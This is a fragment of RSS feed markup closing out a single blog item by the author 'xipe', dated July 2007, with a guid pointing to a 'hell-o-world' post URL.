</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Sat, 28 Jul 2007 13:13:00 +0200</pubDate><guid>http://redstck.net/blog//hell-o-world.html</guid></item></channel></rss>